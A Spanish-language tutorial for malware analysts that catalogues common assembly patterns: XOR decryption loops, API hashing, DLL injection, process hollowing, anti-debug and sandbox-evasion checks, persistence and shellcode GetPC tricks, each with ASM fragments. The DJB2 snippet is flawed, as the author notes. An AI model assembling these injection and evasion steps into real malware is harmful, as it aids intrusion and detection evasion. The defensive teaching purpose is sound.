Intermedioensambladormalwarepatronesreverse-engineeringanti-debuginyeccion

Patrones de Malware en Ensamblador: Lo que Debes Reconocer

Catalogo de patrones de ensamblador comunes en malware real: loops de descifrado XOR, hashing de APIs, inyeccion de procesos, anti-debug, evasion de sandbox, strings ofuscadas y tecnicas de persistencia. Con ejemplos de codigo ASM de cada patron.

MalwareIntel Research··11 min lectura
Serie: Lenguaje Ensamblador — Parte 7

Reconocer el vocabulario visual del malware

Un analista de malware con experiencia no lee ensamblador linea a linea. Busca patrones. Los mismos fragmentos de codigo aparecen en familias de malware completamente distintas porque los autores resuelven los mismos problemas (descifrar strings, inyectar codigo, evadir deteccion) con las mismas tecnicas.

Este articulo cataloga los patrones mas frecuentes. Cada patron incluye el ensamblador representativo, la logica subyacente y las variantes que encontraras en samples reales.

Descifrado de strings: XOR loops

XOR de byte unico

El patron mas basico y mas comun. Cada byte del buffer cifrado se XORea con un byte constante:

mov esi, offset encrypted_string   ; buffer cifrado
mov ecx, 23                        ; longitud
xor_loop:
  xor byte [esi], 0x5A             ; clave XOR
  inc esi                          ; siguiente byte
  dec ecx                          ; decrementar contador
  jnz xor_loop                    ; repetir si no es cero

Para revertirlo, aplica XOR con la misma clave. Si ves un buffer de bytes aparentemente aleatorios en la seccion .data y un loop XOR que lo referencia, esos bytes son datos ofuscados.

Truco para identificar la clave: si el buffer contiene strings ASCII, los bytes mas frecuentes en el buffer cifrado corresponden a caracteres comunes (espacio, 'e', 't', 'a') XOReados con la clave. El byte 0x00 frecuente en Unicode XOReado con la clave te da la clave directamente.

XOR con clave multibyte

Mas resistente al analisis de frecuencia:

mov esi, offset encrypted_data
mov ecx, data_length
xor edx, edx                      ; indice en la clave
lea edi, [clave]                   ; "ABCD" (4 bytes)
descifrar:
  mov al, [edi+edx]               ; byte actual de la clave
  xor [esi], al                   ; XOR con el dato
  inc esi
  inc edx
  cmp edx, 4                      ; longitud de clave
  jb  no_reset
  xor edx, edx                    ; volver al inicio de la clave
no_reset:
  dec ecx
  jnz descifrar

XOR con clave derivada (rolling XOR)

Cada byte se descifra con el resultado del byte anterior:

mov esi, offset encrypted
mov ecx, length
mov al, 0x37                       ; semilla inicial
rolling:
  xor [esi], al                   ; descifrar
  mov al, [esi]                   ; la clave del siguiente es el byte descifrado
  inc esi
  dec ecx
  jnz rolling

El rolling XOR es mas dificil de revertir estaticamente porque la clave cambia con cada byte. Necesitas la semilla y el algoritmo para descifrar.

XOR con ADD/SUB combinado

Algunos malware combinan XOR con aritmetica:

descifrar_byte:
  mov al, [esi]
  xor al, 0x5A
  sub al, cl                       ; resta el indice
  ror al, 3                        ; rota derecha
  mov [esi], al
  inc esi
  inc cl
  cmp cl, [longitud]
  jb  descifrar_byte

Hashing de APIs

ROR13 (Metasploit standard)

; Calcular hash del nombre de una funcion
; EDI = puntero al nombre (null-terminated)
xor eax, eax                       ; hash = 0
hash_char:
  movzx edx, byte [edi]
  test dl, dl
  jz  hash_done
  ror eax, 13                      ; rotar derecha 13 bits
  add eax, edx                     ; sumar caracter
  inc edi
  jmp hash_char
hash_done:
; EAX contiene el hash del nombre
cmp eax, 0x726774C                 ; hash de "LoadLibraryA"

DJB2 hash

Otro algoritmo comun en malware:

mov eax, 5381                      ; hash = 5381
djb2_loop:
  movzx edx, byte [esi]
  test dl, dl
  jz  djb2_done
  shl eax, 5                      ; hash * 32
  add eax, eax                    ; total: hash * 33 (con el valor previo)
  ; Nota: en realidad hash = hash * 33 + c
  ; Implementacion alternativa:
  ; imul eax, eax, 33
  add eax, edx
  inc esi
  jmp djb2_loop
djb2_done:

CRC32 como hash de API

Algunos malware usan CRC32 (instruccion hardware CRC32 o tabla de lookup) para hashear nombres de funciones. Es mas lento pero produce hashes mas uniformes.

Para identificar el algoritmo de hash, busca las constantes magicas:

  • ROR 13 (rotacion de 13): Metasploit ROR13
  • 5381 (semilla): DJB2
  • 0xEDB88320 (polinomio): CRC32 (tabla de lookup)
  • FNV prime 16777619 (0x01000193): FNV-1a

Inyeccion de procesos

DLL Injection clasica

La secuencia para inyectar una DLL en otro proceso:

; 1. Obtener handle del proceso objetivo
push 0                           ; bInheritHandle
push 0                           ; dwDesiredAccess (aqui deberia ir PROCESS_ALL_ACCESS)
push [target_pid]                ; dwProcessId
call OpenProcess
mov [hProcess], eax

; 2. Asignar memoria para el path de la DLL en el proceso remoto
push 0x04                        ; PAGE_READWRITE
push 0x3000                      ; MEM_COMMIT | MEM_RESERVE
push 260                         ; MAX_PATH bytes
push 0                           ; NULL
push [hProcess]
call VirtualAllocEx
mov [remote_buf], eax

; 3. Escribir el path de la DLL en la memoria remota
push 0
push 260
push offset szDllPath            ; "C:\\malware\\payload.dll"
push [remote_buf]
push [hProcess]
call WriteProcessMemory

; 4. Crear hilo remoto que ejecuta LoadLibrary con el path como parametro
push 0                           ; lpThreadId
push 0                           ; dwCreationFlags
push [remote_buf]                ; lpParameter (path de la DLL)
push [pLoadLibraryA]             ; lpStartAddress = LoadLibraryA
push 0                           ; dwStackSize
push 0                           ; lpThreadAttributes
push [hProcess]
call CreateRemoteThread

Process Hollowing (RunPE)

Process hollowing reemplaza el codigo de un proceso legitimo con codigo malicioso:

; 1. Crear proceso suspendido
; STARTUPINFO y PROCESS_INFORMATION en el stack
push offset pi
push offset si
push 0                           ; lpCurrentDirectory
push 0                           ; lpEnvironment
push 0x04                        ; CREATE_SUSPENDED
push 0                           ; bInheritHandles
push 0                           ; lpThreadAttributes
push 0                           ; lpProcessAttributes
push offset szLegitProcess       ; "svchost.exe"
push 0
call CreateProcessW

; 2. Obtener contexto del hilo principal
push offset ctx                  ; CONTEXT structure
push [pi.hThread]
call GetThreadContext
; ctx.Ebx contiene la direccion del PEB
; [ctx.Ebx+8] contiene la ImageBase del proceso

; 3. Unmap la imagen original
push [imageBase]                 ; direccion base original
push [pi.hProcess]
call NtUnmapViewOfSection

; 4. Asignar nueva memoria en la direccion base del PE malicioso
push 0x40                        ; PAGE_EXECUTE_READWRITE
push 0x3000                      ; MEM_COMMIT | MEM_RESERVE
push [pe_size]                   ; tamano de la imagen PE maliciosa
push [pe_imageBase]              ; direccion preferida
push [pi.hProcess]
call VirtualAllocEx

; 5. Escribir headers y secciones del PE malicioso
; (loop escribiendo cada seccion con WriteProcessMemory)

; 6. Actualizar el PEB con la nueva ImageBase
; [ctx.Ebx+8] = nueva ImageBase

; 7. Establecer EIP al entry point del PE malicioso
; ctx.Eax = nueva ImageBase + AddressOfEntryPoint
push offset ctx
push [pi.hThread]
call SetThreadContext

; 8. Reanudar el proceso (ahora ejecuta el codigo malicioso)
push [pi.hThread]
call ResumeThread

Tecnicas anti-debug

IsDebuggerPresent (directa y manual)

La forma directa:

call IsDebuggerPresent
test eax, eax
jnz debugger_detectado

La forma manual (leer directamente del PEB):

mov eax, fs:[0x30]              ; PEB
movzx eax, byte [eax+0x02]     ; PEB.BeingDebugged
test eax, eax
jnz debugger_detectado

La lectura directa del PEB evita hooks en IsDebuggerPresent que los plugins anti-anti-debug puedan haber colocado.

NtGlobalFlag check

El campo NtGlobalFlag del PEB tiene flags especificos cuando el proceso fue creado por un debugger:

mov eax, fs:[0x30]              ; PEB
mov eax, [eax+0x68]             ; PEB.NtGlobalFlag (offset 0x68 en x86)
and eax, 0x70                   ; FLG_HEAP_ENABLE_TAIL_CHECK |
                                 ; FLG_HEAP_ENABLE_FREE_CHECK |
                                 ; FLG_HEAP_VALIDATE_PARAMETERS
jnz debugger_detectado          ; si alguno esta activo, hay debugger

Timing checks con RDTSC

rdtsc
mov esi, eax                    ; guardar timestamp bajo
mov edi, edx                    ; guardar timestamp alto
; ... codigo que deberia ser rapido ...
nop
nop
rdtsc
sub eax, esi                    ; diferencia
cmp eax, 0xFF                   ; umbral (ajustar segun velocidad del CPU)
ja  posible_debugger

INT 2D (debug interrupt)

INT 2D genera una excepcion de breakpoint. Sin debugger, el SEH handler la captura. Con debugger, el comportamiento difiere (el debugger consume un byte extra):

; Instalar SEH handler
push handler_no_debug
push dword fs:[0x00]
mov fs:[0x00], esp

; Generar INT 2D
xor eax, eax                   ; flag: asumimos debugger presente
int 2dh
nop                             ; este byte se "come" con debugger

; Si llegamos aqui con debugger, EAX sigue siendo 0
; Si no hay debugger, el handler puso EAX = 1
test eax, eax
jz  debugger_presente
jmp continuar_normal

handler_no_debug:
; Modificar EAX en el contexto de la excepcion para indicar "no debug"
; ... manipular CONTEXT structure ...

Heap flags check

El heap tiene flags diferentes cuando se crea bajo un debugger:

mov eax, fs:[0x30]              ; PEB
mov eax, [eax+0x18]             ; PEB.ProcessHeap
mov eax, [eax+0x0C]             ; Heap.Flags (offset 0x0C en x86)
cmp eax, 2                      ; HEAP_GROWABLE (valor normal)
jne debugger_detectado          ; con debugger, tiene flags adicionales

Evasion de sandbox

Sleep con verificacion

call GetTickCount
mov [t1], eax
push 60000                      ; sleep 60 segundos
call Sleep
call GetTickCount
sub eax, [t1]
cmp eax, 55000                  ; verificar que realmente durmo ~60s
jb  sandbox_detectada           ; sandbox probablemente acorto el sleep

Verificacion de recursos del sistema

; Verificar RAM (sandboxes tipicamente tienen poca)
push offset memInfo
call GlobalMemoryStatusEx
mov eax, [memInfo.ullTotalPhys]
cmp eax, 0x80000000             ; menos de 2 GB?
jb  posible_sandbox

; Verificar numero de procesadores
call GetSystemInfo
movzx eax, word [sysInfo.dwNumberOfProcessors]
cmp eax, 2
jb  posible_sandbox             ; menos de 2 CPUs? sandbox probable

Buscar artefactos de VM

; Verificar nombre de usuario
push 256
push offset username_buf
call GetUserNameA
; Comparar con nombres comunes de sandbox: "malware", "virus", "sandbox", "test"

; Verificar nombre del equipo
push 256
push offset computer_buf
call GetComputerNameA
; Comparar con nombres tipicos de VMs

; Verificar procesos de VM tools
; Buscar "vmtoolsd.exe", "VBoxService.exe", etc. en la lista de procesos

Persistencia

Clave Run en registro

Ya visto en el articulo anterior. La secuencia RegOpenKeyEx + RegSetValueEx con la clave Run es el mecanismo mas comun.

Scheduled Task via COM

; CoInitializeEx
push 0
push 0
call CoInitializeEx

; CoCreateInstance para ITaskService
push offset pService            ; output
push 0x17                       ; CLSCTX_ALL
push 0                          ; pUnkOuter
push offset IID_ITaskService
push offset CLSID_TaskScheduler
call CoCreateInstance

DLL Search Order Hijacking

El malware coloca una DLL maliciosa en un directorio donde un programa legitimo la buscara antes que la version real. No requiere ensamblador especial: es simplemente un WriteFile/CopyFile al directorio correcto.

Strings stack (string building en el stack)

Para evitar que las strings aparezcan en la seccion .data (donde son faciles de encontrar con un simple strings), el malware construye strings en el stack con MOVs:

; Construir "cmd.exe" en el stack
mov dword [esp], 0x2E646D63      ; "cmd."
mov dword [esp+4], 0x00657865    ; "exe\0"
; Ahora ESP apunta a "cmd.exe\0"
push esp                          ; parametro para CreateProcess

O con PUSHes en orden inverso:

push 0x00657865                   ; "exe\0"
push 0x2E646D63                   ; "cmd."
mov ecx, esp                      ; ECX = puntero a "cmd.exe"

Las strings construidas en el stack no aparecen en el output de la herramienta strings. Busca secuencias de MOV DWORD [esp+N] o PUSHes con constantes de 32 bits que parecen valores ASCII.

GetPC (Get Program Counter)

En shellcode, el codigo necesita conocer su propia direccion en memoria. La tecnica clasica:

call next
next:
pop eax                           ; EAX = direccion de "next"
; Ahora EAX contiene la direccion actual del shellcode
; Calcula direcciones relativas a partir de aqui

CALL empuja la direccion de la siguiente instruccion al stack. POP la recupera. Es un CALL a la instruccion inmediatamente siguiente, lo que efectivamente carga la direccion actual en un registro.

Variantes:

  • CALL $+5 / POP EAX (mismo efecto, encoding diferente)
  • FSTENV seguido de lectura del FPU instruction pointer
  • En x64: LEA RAX, [RIP] (RIP-relative addressing)

Structured Exception Handler (SEH) para anti-debug

; Registrar handler SEH
push offset handler
push dword fs:[0x00]
mov fs:[0x00], esp

; Generar excepcion intencional
xor eax, eax
div eax                           ; division por cero: genera excepcion

; Si hay debugger, esta instruccion no se ejecuta
; (el debugger captura la excepcion primero)
mov [flag_debug], 1
jmp detectado

handler:
; Handler SEH: se ejecuta si NO hay debugger
; (o si el debugger pasa la excepcion al programa)
mov eax, [esp+0x0C]               ; puntero al CONTEXT
mov dword [eax+0xB8], offset continuar  ; modificar EIP en CONTEXT
xor eax, eax                      ; EXCEPTION_CONTINUE_EXECUTION
ret

continuar:
; Ejecucion continua aqui despues de la excepcion
; Sabemos que no hay debugger (o el debugger paso la excepcion)

Reconocimiento rapido en la practica

Cuando abres un nuevo sample en Ghidra o IDA:

  1. Revisa las imports: si solo hay LoadLibrary/GetProcAddress, espera resolucion dinamica
  2. Busca XOR con registro/byte dentro de loops: descifrado
  3. Busca accesos a FS:[0x30] (x86) o GS:[0x60] (x64): acceso al PEB (shellcode, anti-debug)
  4. Busca CreateProcess con flag 0x04: process hollowing
  5. Busca VirtualAlloc con 0x40: asignacion de memoria ejecutable
  6. Busca RDTSC o llamadas a GetTickCount en pares: timing anti-debug
  7. Busca MOV DWORD constantes en secuencia: stack strings
  8. Busca CALL $+5 / POP: shellcode GetPC

Estos patrones son tu mapa. Te permiten navegar un binario desconocido y encontrar rapidamente las partes interesantes sin leer cada instruccion.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.